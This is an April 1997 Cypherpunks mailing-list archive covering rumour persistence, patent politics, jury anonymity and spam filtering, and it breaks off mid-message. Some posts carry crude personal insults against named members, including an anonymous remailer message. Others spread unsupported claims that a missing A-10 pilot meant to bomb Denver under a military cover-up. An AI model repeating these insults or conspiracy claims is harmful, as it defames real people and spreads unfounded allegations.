Subject: PaleoAnthro: Mail List Life Cycle Message-ID: --- begin forwarded text X-Authentication-Warning: list.srv.cis.pitt.edu: majordom set sender to owner-paleoanthro using -f Date: Sun, 13 Apr 1997 01:06:22 -0400 (EDT) From: Matt Fraser X-Sender: mattf at unixs2.cis.pitt.edu To: Paleoanthropology List Subject: PaleoAnthro: Mail List Life Cycle MIME-Version: 1.0 Sender: owner-paleoanthro at list.pitt.edu Precedence: bulk Reply-To: PaleoAnthro at list.pitt.edu Hey All, Dug this up from another list that I've been on for a few years now. Thought it might be of interest. Matt ----------- THE NATURAL LIFE CYCLE OF MAILING LISTS Every list seems to go through the same cycle: 1. Initial enthusiasm (people introduce themselves, and gush alot about how wonderful it is to find kindred souls). 2. Evangelism (people moan about how few folks are posting to the list, and brainstorm recruitment strategies). 3. Growth (more and more people join, more and more lengthy threads develop, occasional off-topic threads pop up). 4. Community (lots of threads, some more relevant than others; lots of information and advice is exchanged; experts help other experts as well as less experienced colleagues; friendships develop; people tease each other; newcomers are welcomed with generosity and patience; everyone -- newbie and expert alike -- feels comfortable asking questions, suggesting answers, and sharing opinions). 5. Discomfort with diversity (the number of messages increases dramatically; not every thread is fascinating to every reader; people start complaining about the signal-to-noise ratio; person 1 threatens to quit if *other* people don't limit discussion to person 1's pet topic; person 2 agrees with person 1; person 3 tells 1 & 2 to lighten up; more bandwidth is wasted complaining about off-topic threads than is used for the threads themselves; everyone gets annoyed). 6a. Smug complacency and stagnation (the purists flame everyone who asks an 'old' question or responds with humor to a serious post; newbies are rebuffed; traffic drops to a doze-producing level of a few minor issues; all interesting discussions happen by private email and are limited to a few participants; the purists spend lots of time self-righteously congratulating each other on keeping off-topic threads off the list). OR 6b. Maturity (a few people quit in a huff; the rest of the participants stay near stage 4, with stage 5 popping up briefly every few weeks; many people wear out their second or third 'delete' key, but the list lives contentedly ever after) _____________________________ Robert Warner rwarner at electrotex.com I speak but for myself,.... _____________________________ --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA Lesley Stahl: "You mean *anyone* can set up a web site and compete with the New York Times?" Andrew Kantor: "Yes." Stahl: "Isn't that dangerous?" The e$ Home Page: http://www.shipwright.com/ From rah at shipwright.com Sun Apr 13 09:49:11 1997 From: rah at shipwright.com (Robert Hettinga) Date: Sun, 13 Apr 1997 09:49:11 -0700 (PDT) Subject: A Rumor and Reputation Paradox... Message-ID: Here's something from cyberia which talks about the persistence of anti-reputation memes even in the presence of perfectly contradictory information. We've all heard about apocryphal stories, the $50 Corvette and the like, but here's a case which has financial reprocussions. It reminds me of the "satanism" claims about the Procter and Gamble moon and stars corporate symbol a while back. My first attempt at tackling this would be some kind of distributed reputation system, but it seems to me that if someone I trusted said something bad about Mr. Hilfinger, in the absence of any other respectable data, I would believe them. I guess that means the need for reputation "rental", like what financial intermediaries do, and also what we now call journalism, will increase, not deminish, in geodesic markets. Cheers, Bob Hettinga --- begin forwarded text Mime-Version: 1.0 Date: Sat, 12 Apr 1997 23:58:30 -0400 Reply-To: Law & Policy of Computer Communications Sender: Law & Policy of Computer Communications From: Larry Kolodney Subject: Re: America Online and liability... the Horror To: CYBERIA-L at LISTSERV.AOL.COM >Recall the libertarian maxim that the best response to >offensive speech is more speech. To anyone who actually believes this bit of 18th century enlightenment mythology, I would recommend the article "Dirty Linen: Why are they saying all those mean things about Tommy Hilfiger?" by Lakshmi Gopalkrishnan in the current edition of Slate (http://www.slate.com/TangledWeb/97-04-10/TangledWeb.asp). In essence, the article documents a number of vicious rumours which have been spread on the internet about the clothing designer Tommy Hilfiger and allegedly racist comments that he made on the Ophrah Winfrey show. Not withstanding the fact that 1) Mr. Hilfiger never appeared on the Winfrey show and never made the statements in question, and 2) Hilfiger Co. has engaged in an online P.R. campaign to counter these rumours, they are persistent and widespread. According to the article: BEGIN QUOTE A spotty paraphrase of the allegations appeared in a Nov. 13, 1996, article in the Philippine newspaper Isyu. Titled "Eat Your Clothes, Mr. Racist Designer," the piece has been excerpted on the Official Philippine Anti-Tommy Hilfiger site. The writer tiptoes around the charges, but is markedly less tentative when expressing her outrage. "I am shocked," she fulminates. "If [Hilfiger] really did insult my people, you can bet I will do every single thing I can in my power to make sure that his label never makes it here." Forums ranging from soc.culture.african.american to talk.rumors and Streetsound have been thick with anti-Tommy talk of late. When rumors of the designer's alleged racist outbursts filtered into the mainstream media, they were debunked by Time magazine, USA Today, and the Washington Post. But that didn't stem angry calls for a boycott of his products. Nor did the official response of the Hilfiger Corp. Claiming to have become aware of the brouhaha only recently, the company has posted a memo on various anti-Tommy sites detailing the "simple and incontrovertible facts": Hilfiger has never been on Oprah. Hilfiger has never been on Style. Far from wanting to limit his appeal, Hilfiger is on record about wanting to cross ethnic lines to appeal to everyone everywhere. *** In theory, the Web should be as good at eradicating legends as it is at cultivating them, but in practice, denials are quickly buried by new messages and updates. A week ago, Hilfiger's official response clogged newsgroup indexes. Today, it has been swamped by even newer anti-Tommy postings and returning favorites. END QUOTE Lest you think that such rumours are just a minor irritant and part of doing business, consider that, according to the article, "In the late 1980s, purported connections with the Ku Klux Klan so damaged the reputation of athletic-wear manufacturer Troop (whose name was rumored to be a Ku Klux Klan acronym for "To Rule Over Oppressed People") that it was forced into bankruptcy." So here we have vicious rumours being spread about a company with millions of public relations dollars at its disposal, and it is helpless in the face of a rumour that has not one grain of truth to it. After reading this account, how could anyone seriously argue beleive individuals such as the hapless Mr. Zeran have the slightest ability to counter defamation with "more speech" over the internet? (Note that Mr. Zeran did not even have an internet account!) Larry Kolodney --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA Lesley Stahl: "You mean *anyone* can set up a web site and compete with the New York Times?" Andrew Kantor: "Yes." Stahl: "Isn't that dangerous?" The e$ Home Page: http://www.shipwright.com/ From dlv at bwalk.dm.com Sun Apr 13 12:00:14 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Sun, 13 Apr 1997 12:00:14 -0700 (PDT) Subject: How to IGNORE massive To: and Cc: spams In-Reply-To: <199704131736.MAA02875@manifold.algebra.com> Message-ID: ichudov at algebra.com (Igor Chudov @ home) writes: > > [this is only of interest to UNIX(tm) users. Windows users, please ignore] I suspect that a typical Windows user with a POP account usually has a unix account and a home directory (although its shell may be /etc/false or some such); he may be able to ftp to it and create a .forward file pointing to procmail, who will look at the incoming mail before passing on to his PPP. I don't really know shit about this, so don't flame me if this doesn't work. :-) --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From ichudov at algebra.com Sun Apr 13 12:16:24 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Sun, 13 Apr 1997 12:16:24 -0700 (PDT) Subject: How to IGNORE massive To: and Cc: spams In-Reply-To: Message-ID: <199704131915.OAA04079@manifold.algebra.com> Dr.Dimitri Vulis KOTM wrote: > > ichudov at algebra.com (Igor Chudov @ home) writes: > > > > [this is only of interest to UNIX(tm) users. Windows users, please ignore] > > I suspect that a typical Windows user with a POP account usually has a unix > account and a home directory (although its shell may be /etc/false or some > such); he may be able to ftp to it and create a .forward file pointing > to procmail, who will look at the incoming mail before passing on to his > PPP. I don't really know shit about this, so don't flame me if this > doesn't work. :-) If the user shell is /bin/false, most likely the .forward file will not be able to invoke any programs. - Igor. From dlv at bwalk.dm.com Sun Apr 13 13:30:14 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Sun, 13 Apr 1997 13:30:14 -0700 (PDT) Subject: A Rumor and Reputation Paradox... In-Reply-To: Message-ID: "Timothy C. May" writes: > be it. Anti-free speechers, including Larry Kolodney and including those > who support libel and slander laws, would have us believe that "false > speech" is not as protected as "true speech" is. Foo on that.) That from a vocal supporter of Cocksucker John Gilmore's plug-pulling... --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From stewarts at ix.netcom.com Sun Apr 13 14:00:08 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Sun, 13 Apr 1997 14:00:08 -0700 (PDT) Subject: SSL weakness affecting links from pa In-Reply-To: <3.0.1.32.19970412224402.009d66d0@mail.teleport.com> Message-ID: <3.0.1.32.19970413134238.00655f48@popd.ix.netcom.com> At 12:41 AM 4/13/97 -0700, Rich Graves wrote: >Or blame it on the client. Microsoft handled the utter absence of security >in their WFW/Win95 SMB implementation by claiming, falsely, that Samba was >sending "illegal commands." After a thorough public thrashing, the Win95 >product manager eventually changed that to "specific networking commands," >with no retraction and no indication that the document had changed. Heh. Sending illegal or unexpected commands to a program is _the_ standard way to break security; if they can't defend against that, they're hosed. I'd reserve the phrase "utter absence of security" for systems that let you ignore the permissions by just asking nicely :-) > Interesting paper. I was surprised it didn't explicitly mention Plan 9 when it was discussing other operating systems, though mentioning Inferno does include that indirectly. It also didn't mention security - it talked about the kind of world where you can just buy a computer, turn it on, plug it in, and it'll find whatever resources it wants in the One Big Operating System. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From jya at pipeline.com Sun Apr 13 14:30:48 1997 From: jya at pipeline.com (John Young) Date: Sun, 13 Apr 1997 14:30:48 -0700 (PDT) Subject: Competitive Betrayal Message-ID: <1.5.4.32.19970413212942.0073ebb0@pop.pipeline.com> Weekend FiTi reports on "the enemy within" corporations and the growth of "competitive intelligence" as cold war spy tactics are adapted to big business. Excerpts: Nobody in the surveillance business really knows how much commercial spying goes on. A lot of the eavesdropping is done, perfectly legally, by managers listening in to their own staff. It is, of course, in the interest of equipment suppliers and corporate consultants to maximise the dangers that companies face. "All companies are paranoid about their own security," said the spokesman of one well-known British multinational. "They don't seem to mind paying consultants to tell them things they know already." Yet all agree that the field of "competitive intelligence", as it is politely termed, is an expanding one. The privatisation of whole economies, the deregulation of monopoly markets, the globalisation of business, the spread of foreign investment and contested takeovers, the proliferation of technology and the sheer volume of information - all have made companies more aggressive, and more vulnerable. A consultant called in to investigate a theft may find himself pitted against another. In order to sanitise the business, a professional association called the Society of Competitive Intelligence Professionals has been set up. Its 5,000 members are meant to follow a code which vaguely urges them to obey the law, identify themselves when asking questions, and avoid "unethical practices". SCIP is influenced by the Association of Former Intelligence Officers, a group described as "very powerful" by Andre Pienaar, a young manager at the corporate investigators Kroll Associates who has written a doctoral thesis on business and intelligence. "Company information has become very valuable," he said, "more valuable than physical assets." Protecting that information is becoming ever more difficult. It is not just the tappers, buggers and hackers who are the problem, however. The problem is the loyalty - or lack of it - of employees in a world of short contracts, rapid turnover and big inducements. Tony McStravick, former acting head of the Metropolitan police Fraud Squad in London, has worked for Kroll and is now at Control Risks Group. "It all comes down to management in the end," he said. "Companies have lost the hearts and minds of their employees because of performance pay, delayering, downsizing." "You have to have a culture of honesty, from the top down. You must find the balance between maximising profits and being fair and honest. A lot of the time, companies forget they are dealing with human beings." ----- For full article: http://jya.com/tew.txt From toto at sk.sympatico.ca Sun Apr 13 14:51:29 1997 From: toto at sk.sympatico.ca (Toto) Date: Sun, 13 Apr 1997 14:51:29 -0700 (PDT) Subject: A Rumor and Reputation Paradox... In-Reply-To: Message-ID: <3351558E.C71@sk.sympatico.ca> Robert Hettinga wrote: > > Here's something from cyberia which talks about the persistence of > anti-reputation memes even in the presence of perfectly contradictory > information. > Subject: Re: America Online and liability... the Horror > To: CYBERIA-L at LISTSERV.AOL.COM > > In essence, the > article documents a number of vicious rumours which have been spread on the > internet about the clothing designer Tommy Hilfiger and allegedly racist > comments that he made on the Ophrah Winfrey show. > > Not withstanding the fact that 1) Mr. Hilfiger never appeared on the > Winfrey show and never made the statements in question, and 2) Hilfiger Co. > has engaged in an online P.R. campaign to counter these rumours, they are > persistent and widespread. I heard that the Hifiger's comments were actually made on the eca$h list, which regularly contains posts suggesting euthenasia for the elderly and the disabled. Of course, my source was posting from whitehouse.gov... -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From jimbell at pacifier.com Sun Apr 13 15:45:23 1997 From: jimbell at pacifier.com (Jim Bell) Date: Sun, 13 Apr 1997 15:45:23 -0700 (PDT) Subject: APRIL BAY AREA CYPHERPUNKS MEETING Message-ID: <199704132245.PAA28164@mail.pacifier.com> At 02:32 4/10/97 -0700, Bill Stewart wrote: >The April Bay Area Cypherpunks Meeting will be held jointly with the >Clan MacDude Back To The Beach party, April 12 at Bonny Doon Beach. >( www.macdude.org , http://www.macdude.org/aprbeach.htm for event >description.) >Among other things, John Randolph was planning to do a >Great Wall of Fire with his leftover moving boxes, and various >other cypherpunks are part of the Glorious Clan, which is a generally >silly organization. While I couldn't make it this time, I'd be interested in showing up for the next Bay area meeting if somebody could provide transportation to/from the airport/train-station/bus-station. A place to crash for a night would be a big plus. Anyone volunteering to help will get "Jim Bell" autographs. Might be worth something some day... ("Get them while I can still give them"!) Jim Bell jimbell at pacifier.com From ravage at einstein.ssz.com Sun Apr 13 17:05:01 1997 From: ravage at einstein.ssz.com (Jim Choate) Date: Sun, 13 Apr 1997 17:05:01 -0700 (PDT) Subject: http:--www.cnn.com-US-9704-13-mcveigh.trial- Message-ID: <199704132314.SAA01027@einstein.ssz.com> CNN logo navigation Infoseek/BigYellow/Pathfinder/Warner Bros. Main banner Samsung. Meeting the challenge. rule MCVEIGH CASE COULD SET PRECEDENT FOR JURY ANONYMITY jurors.sketch April 13, 1997 Web posted at: 4:01 p.m. EDT (2001 GMT) From Correspondent Susan Candiotti DENVER (CNN) -- Unless they decide to tell the world, the jurors who decide the fate of accused bomber Timothy McVeigh may remain forever anonymous. Trial Judge Richard Matsch assigned each jury candidate a number, and permanently sealed their records. But he has gone even further to protect their identities, ordering a partition to hide the jury box from the view of most courtroom spectators. For example, reporters must sit on one side of the court, where it's impossible to see behind the wall. matsch Georgetown University law professor Paul Rothstein says Matsch "has gone a little overboard." Unless there is evidence of danger or threat to the jurors, he says, "the presumption should be for an open trial in every respect, including being able to view the jurors." But Andrew Wolfberg, who served on the jury for the trial of Eric and Lyle Menendez, says protecting jurors' identities in the Oklahoma City bombing trial is important. "I think with this trial, there involved the death of many people ... which can in some way cause the jury to feel they have something to fear from this defendant," he said. In high-profile cases such as the O.J. Simpson trial, jurors' names are protected until the trial is over. And where TV coverage is allowed, faces are not shown on camera. mcveigh.jury Despite the secrecy, once the trial was over, some Simpson trial jurors hired agents, wrote books and hit the talk show circuit. Despite Matsch's caution and concern, some observers say he might be setting a precedent. "It's turning our system of justice upside down," says Jane Kirtley of the Reporters Committee for Freedom of the Press. "Because what it means is that the public really has no idea of who is sitting in judgment of people accused of heinous crimes." Decisions like Matsch's, opponents like Kirtley say, deny the public's right to "know" who sits on a high-profile jury. OKC Trial Special Section T R A N S C R I P T S / O V E R V I E W / T H E P L A Y E R S T H E B O M B I N G / C N N S T O R I E S / L I N K S rule What You Think Tell us what you think! You said it... [INLINE] Samsung. Meeting the challenge. rule To the top � 1997 Cable News Network, Inc. All Rights Reserved. Terms under which this service is provided to you. From toto at sk.sympatico.ca Sun Apr 13 17:09:27 1997 From: toto at sk.sympatico.ca (Toto) Date: Sun, 13 Apr 1997 17:09:27 -0700 (PDT) Subject: APRIL BAY AREA CYPHERPUNKS MEETING In-Reply-To: <199704132245.PAA28164@mail.pacifier.com> Message-ID: <33516E92.36C@sk.sympatico.ca> Jim Bell wrote: > > At 02:32 4/10/97 -0700, Bill Stewart wrote: > >The April Bay Area Cypherpunks Meeting will be held jointly with the > >Clan MacDude Back To The Beach party, April 12 at Bonny Doon Beach. > While I couldn't make it this time, I'd be interested in showing up for the > next Bay area meeting if somebody could provide transportation to/from the > airport/train-station/bus-station. Jim, Given some of the comments on the list regarding your unsuitability as a 'spokesperson' for the CypherPunks, I would make sure that you specify you are not looking for a 'one-way' ride. > Anyone volunteering to help will get "Jim Bell" autographs. > ("Get them while I can still give them"!) Is 'Big Louie' working for the IRS, now? (He does arms. 'Little Louie' does kneecaps.) -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From mixmaster at remail.obscura.com Sun Apr 13 18:22:09 1997 From: mixmaster at remail.obscura.com (Mix) Date: Sun, 13 Apr 1997 18:22:09 -0700 (PDT) Subject: No Subject Message-ID: <199704140031.RAA12600@sirius.infonex.com> Tim `C' Mayonnaise's obsessive masturbation has lead to advanced degree of blindness and hairy palms. ||||||||||| \~0/ \0~/ < (0) > --oOO--/|||\--OOo- Tim `C' Mayonnaise From rah at shipwright.com Sun Apr 13 19:32:19 1997 From: rah at shipwright.com (Robert Hettinga) Date: Sun, 13 Apr 1997 19:32:19 -0700 (PDT) Subject: Monopoly as damage... In-Reply-To: Message-ID: At 7:20 pm -0400 on 4/13/97, Timothy C. May wrote: > >Hettinga's paraphrase of Gilmore's Law: > > > >"A geodesic economy sees monopoly as damage and routes around it." > > > > But generally not accurate. The Hettinga version, not the Gilmore version. Utterly inaccurate. We don't have a geodesic economy. Yet. :-). > If one defines monopoly in the sense apparently intended here, meaning that > Microsoft, Intel, and Cisco are "monopolies" (each has about a consistent > 70-80% market share in their primary markets), there is very little real > evidence that a "geodesic economy" (whatever _that_ is) treats these > monopolies as damage and routes around them. There is very little evidence for "geodesic economies", in general. "Geodesic markets", like "Crypto Anarchy", or the "Information Superhighway", is just a handy hypothetical folks people made up for entertainment some boring afternoon. :-). As to whether Wintel (not now, but soon) and Cisco (probably not ever) are monopolies, and as to whether that will matter, I'll leave that as an exercise for the reader. No, Virginia, I don't believe in path dependence, either. Monoculture, however, happens every once in a while, particularly in markets mapped to industrial communications hierarchies. BillG is probably the last tycoon, in that regard. > There are much better models for why such monopolies eventually reach > certain limits, or face new competitors, or otherwise decline. Seeing as there no models for things like "Crypto Anarchy", or "Geodesic Markets", which have no data yet to model, the above comment is tautologous. Doesn't seem to stop either one of us from making prognostications about them, however... > Timothy C. May | Crypto Anarchy: encryption, digital money, > tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero > W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, > Higher Power: 2^1398269 | black markets, collapse of governments. > "National borders aren't even speed bumps on the information superhighway." "Market controls, including monopolistic practices, aren't even rent-a-cops in a geodesic marketplace." Whatever *that* means. ;-). Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA Lesley Stahl: "You mean *anyone* can set up a web site and compete with the New York Times?" Andrew Kantor: "Yes." Stahl: "Isn't that dangerous?" The e$ Home Page: http://www.shipwright.com/ From nobody at huge.cajones.com Sun Apr 13 20:06:15 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Sun, 13 Apr 1997 20:06:15 -0700 (PDT) Subject: Bombing Denver? / Or: How Capt. Button Learned to Stop Worrying and Love the Bomb Message-ID: <199704140306.UAA02271@fat.doobie.com> The story thus far: An United States A-10 warplane on a live bombing run breaks formation and spends the next hour flying toward Colorado. Just short of Vail, it changes course, headed toward Denver, and then shortly thereafter changes direction, heading south, only to reverse its course, and once again head toward Denver/Vail. During this whole time, the Air Force contends that no radio contact was made, nor did they know where the plane was. They offer no explaination except an extremely weak claim that perhaps the pilot was suicidal or stressed. The bottom line is that the media seems to be totally ignoring the fact that even the military's shakey explaination of these events suggests that the American public may have been in great danger from a mentally unbalanced Air Force pilot in control of a war-machine capable of creating mass destruction upon an American city. Even the least bit of scrutiny of the trail followed by the A-10 suggests a pilot who had a destination in mind, had to take evasive action upon nearing his target, and then doubled back toward his original target. And the best explaination that the military can provide is that a U.S. warplane capable of doing major damage to a U.S. city just flew around for over an hour, with no way for the military to prevent it from bombing our citizens. The military tells us that a warplane approached some of the most sensitive military installations in the country, without being noticed or intercepted. The fact is, the military is in a no-win situation, whether they reveal that U.S. citizens were potentially endangered by the military's lack of control over U.S. warplanes, or reveal that they were forced to intercept and shoot down a U.S. warplane intending to attack a U.S. populated area. I have no doubt that the military, given time, will come up with a cover story which contains "plausibal deniability," etc., etc. The big mystery is why the media seems incapable of even raising questions probing at the obvious holes in the government's irrational explainations of this affair. TruthMonger http://cnn.com -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From rah at shipwright.com Sun Apr 13 20:09:07 1997 From: rah at shipwright.com (Robert Hettinga) Date: Sun, 13 Apr 1997 20:09:07 -0700 (PDT) Subject: Patent Giveaway Bill - House vote could be week of April 14th Message-ID: Got this one off one of my favorite um, hydrophobic, right-wing lists. Actually, I *like* the idea of adopting the Japanese model, a patent system which was designed from the gitgo to strip technology from the original patentholders and accellerate its transfer to people who could implement it faster. Evolution in action, and all that. Of course, I expect that, geodesic markets will reward people who come up with new stuff -- and not people who control old stuff -- by exponentially depreciating old information as fast as it's created. "Piracy" being the most efficient form of information transfer on a ubiquitous network, and, with so-called watermarking, cryptolopes, etc., only being able to tell you who your copy was "pirated" from, the first copy of anything will be auctioned off dear, and subsequent copies will be sold dear in radiating secondary markets. Jason Cronk just wrote a paper on this, based on his rump-session talk at FC97. I don't have the URL handy, but his email address is . Cheers, Bob Hettinga --- begin forwarded text Resent-Date: Sun, 13 Apr 1997 15:12:56 -0500 (EST) X-Authentication-Warning: NS1.Content.Net: byxbe set sender to rightnow-request at MailList.Net using -f X-Sender: eagle at accessus.net (Unverified) Date: Sun, 13 Apr 1997 11:58:35 -0500 To: eagle at eagleforum.org From: Eagle Forum Subject: Patent Giveaway Bill - House vote could be week of April 14th Mime-Version: 1.0 Resent-From: rightnow at MailList.Net X-Mailing-List: archive/latest/116 X-Loop: rightnow at MailList.Net Precedence: list Resent-Sender: rightnow-request at MailList.Net PATENT GIVEAWAY BILL House vote could be week of April 14th April 11, 1997 Phone or fax your Congressman (202) 225-3121 and urge him to vote NO on H.R. 400, which is misnamed the Patent Improvement Act but should be called the Patent Giveaway bill or the Ron Brown Sellout Legacy. This bill would write into law Ron Brown's Commerce Department news release of August 16, 1994, which promised the Japanese that we will change our patent law to acquiesce in the demands made by the Japan Patent Association in its written statement of September 1993 (which called our patent system "unsatisfactory" and demanded changes). That statement is impudent and insulting to Americans. H.R. 400 would transform the U.S. Patent Office into a private corporation that could accept bribes for the issuing of patents. Of course, the bill doesn't use the nasty word bribes; it just says that the Patent Office "may accept monetary gifts or donations of services, or of real, personal, or mixed property, in order to carry out the functions of the Office." With all the recent scandals about Asian money used to influence U.S. policy, this would be a terrible mistake. The entire text of H.R. 400 is a sellout to the Japanese demands. This bill would order all patent applications to be made public 18 months after the application is filed, whether or not the inventor has yet been granted a patent. This dramatic change from our traditional treatment of patents would be a grievous injustice to the individual inventor because it would allow foreigners and multinationals to use their enormous resources to steal the inventor's idea and beat him into production. H.R. 400 would loosen up the "reexamination" of U.S. patents already issued and allow foreign and domestic corporations to participate in the process after paying a "reexamination fee." H.R. 400 even specifies that the board of directors of the new private patent office shall include persons "with substantial background and achievement in corporate finance and management." That puts the multinationals in the driver's seat to ride roughshod over the rights of individual inventors. Instead of ratifying the Ron Brown sellout deal, Congress should stand up for one of our most important constitutional rights - the right of inventors to have, for limited times, "the exclusive right to their . . . discoveries." This unique provision in the U.S. Constitution (Article 1, Section 8) marked a profound turning point in world history; it started the marvelous series of American inventions that have raised our standard of living and built America into an industrial super power. H.R. 400 invites Asian money to diminish a precious American constitutional right. It is a scandal that Congress cannot afford to be involved in. Vote NO on H.R. 400. See our sample letter to Congress: http://www.eagleforum.org/conglet/1997/patents.html ============================================ EAGLE FORUM PO Box 618 Alton, IL 62002 Phone: 618-462-5415 Fax: 618-462-8909 Are you on our E-mail list? Just send us an e-mail message with SUBSCRIBE in the subject line! Tell a friend about us! URL: http://www.eagleforum.org E-mail: eagle at eagleforum.org ============================================ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To unsubscribe from this mailing list, DISREGARD ANY INSTRUCTIONS ABOVE and go to the Web page at http://www.maillist.net/rightnow.html. New subscriptions can also be entered at this page. If you cannot access the World Wide Web, send an e-mail message to RightNow-Request at MailList.Net and on the SUBJECT LINE put the single word: unsubscribe --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA Lesley Stahl: "You mean *anyone* can set up a web site and compete with the New York Times?" Andrew Kantor: "Yes." Stahl: "Isn't that dangerous?" The e$ Home Page: http://www.shipwright.com/ From null at myemail.net Sun Apr 13 20:57:49 1997 From: null at myemail.net (null at myemail.net) Date: Sun, 13 Apr 1997 20:57:49 -0700 (PDT) Subject: Bombing Denver / Why has no one ever seen Jim Bell and Capt. Buttons together? Message-ID: <03574662704169@MyEmail.net> So, according to the Air Force, an armed warplane was allowed to approach within a few miles of one of the most important underground military installations in the country, without anybody noticing. Are bears Catholic? Does the Pope shit in the woods? Are cypherpunks revisionists handling the current military disinformation campaign on this event? An armed warplane capable of delivering its payload upon unwary U.S. citizens gives every indication of making an attempt to do so, and no major media even broach the possibility of this being the case. I think perhaps I'll drop my cable news channels and subscribe to the 24-hour a day "Happy Days" network. If I'm going to live in fantasy land, I'd rather watch the Fonz raise his eyebrows when mentioning the Bobsie twins, without once suggesting that he would like to bang the living shit out of them. TruthMunster ************************************************************************ This Anonymous email has been relayed by http://www.MyEmail.net/ MyEmail.Net is a free anonymous mailing service. No records indicating the identity of person(s) who originated this message are retrieved electronically, or as a requirement to submit. Your email address can be blocked to prevent further contact from this service, please refer to the URL above for instructions on how to do so. ************************************************************************ From null at myemail.net Sun Apr 13 20:58:02 1997 From: null at myemail.net (null at myemail.net) Date: Sun, 13 Apr 1997 20:58:02 -0700 (PDT) Subject: Bombing Denver / Why has no one ever seen Jim Bell and Capt. Buttons together? Message-ID: <03575784304170@MyEmail.net> So, according to the Air Force, an armed warplane was allowed to approach within a few miles of one of the most important underground military installations in the country, without anybody noticing. Are bears Catholic? Does the Pope shit in the woods? Are cypherpunks revisionists handling the current military disinformation campaign on this event? An armed warplane capable of delivering its payload upon unwary U.S. citizens gives every indication of making an attempt to do so, and no major media even broach the possibility of this being the case. I think perhaps I'll drop my cable news channels and subscribe to the 24-hour a day "Happy Days" network. If I'm going to live in fantasy land, I'd rather watch the Fonz raise his eyebrows when mentioning the Bobsie twins, without once suggesting that he would like to bang the living shit out of them. TruthMunster ************************************************************************ This Anonymous email has been relayed by http://www.MyEmail.net/ MyEmail.Net is a free anonymous mailing service. No records indicating the identity of person(s) who originated this message are retrieved electronically, or as a requirement to submit. Your email address can be blocked to prevent further contact from this service, please refer to the URL above for instructions on how to do so. ************************************************************************ From snow at smoke.suba.com Sun Apr 13 21:21:10 1997 From: snow at smoke.suba.com (snow) Date: Sun, 13 Apr 1997 21:21:10 -0700 (PDT) Subject: Bombing Denver? / Or: How Capt. Button Learned to Stop Worrying and Love the Bomb In-Reply-To: <199704140306.UAA02271@fat.doobie.com> Message-ID: <199704140344.WAA00320@smoke.suba.com> > The story thus far: > An United States A-10 warplane on a live bombing run breaks formation > and spends the next hour flying toward Colorado. > And the best explaination that the military can provide is that a > U.S. warplane capable of doing major damage to a U.S. city just flew > around for over an hour, with no way for the military to prevent it > from bombing our citizens. > The military tells us that a warplane approached some of the most > sensitive military installations in the country, without being noticed > or intercepted. Well, Considering that A-10's can fly comfortably in "ground clutter", or "trees" as civilians call them, it isn't suprising to me that they couldn't track the fucker, and it is my firm belief that if the pilot had wanted to dump his paylod over denver, coffin makers would be on overtime right now. > TruthMonger > http://cnn.com > > -- > Toto > "The Xenix Chainsaw Massacre" > http://bureau42.base.org/public/xenix/xenbody.html I don't believe this was Toto, too coherent. Do they have a Cammo colored crayola in the new colors? From nobody at huge.cajones.com Sun Apr 13 22:07:11 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Sun, 13 Apr 1997 22:07:11 -0700 (PDT) Subject: Bombing Denver? / Or: How Capt. Button Learned to Stop Worrying and Love the Bomb Message-ID: <199704140507.WAA05040@fat.doobie.com> snow wrote: > > > The story thus far: > > An United States A-10 warplane on a live bombing run breaks formation > > and spends the next hour flying toward Colorado. > > And the best explaination that the military can provide is that a > > U.S. warplane capable of doing major damage to a U.S. city just flew > > around for over an hour, with no way for the military to prevent it > > from bombing our citizens. > > The military tells us that a warplane approached some of the most > > sensitive military installations in the country, without being noticed > > or intercepted. > > Well, Considering that A-10's can fly comfortably in "ground clutter", > or "trees" as civilians call them, it isn't suprising to me that they > couldn't track the fucker, and it is my firm belief that if the pilot > had wanted to dump his paylod over denver, coffin makers would be on overtime > right now. So you are basically claiming that Jim Bell's AP system opens the door for U.S. military personnel to participate, given the fact that U.S. defences are incapable of screening the mentally unstable from having possession of the latest in hi-tech armaments, or stopping them if they should choose to pick up a little cash on the side? Does your "firm belief" account for the fact that, upon changing direction near the end of the flight, as if in a bombing run for Denver or Vail, the A-10 suddenly reversed direction, as if taking evasive action, and then circled back to resume it's run, before disappearing? Even giving the least threatening scenario, that the pilot went for an innocent joyride and ran out of gas, it astounds me that the media could just wholeheartedly embrace the military's limp explainations of the fact that an armed warplane could wander at will through some of the most sensitive military areas in the country, and not bring this to the public's attention. Perhaps the bars and lounges that the news media personnel relaxed in during Desert Storm, while feeding the public the military's press releases verbatim were disassembled and moved to the U.S. It would be a shame if the media raised troubling questions in regard to this affair and the Pentagon raised the price of drinks in the media lounge. TruthMonger From ichudov at algebra.com Sun Apr 13 22:08:35 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Sun, 13 Apr 1997 22:08:35 -0700 (PDT) Subject: Bombing Denver? / Or: How 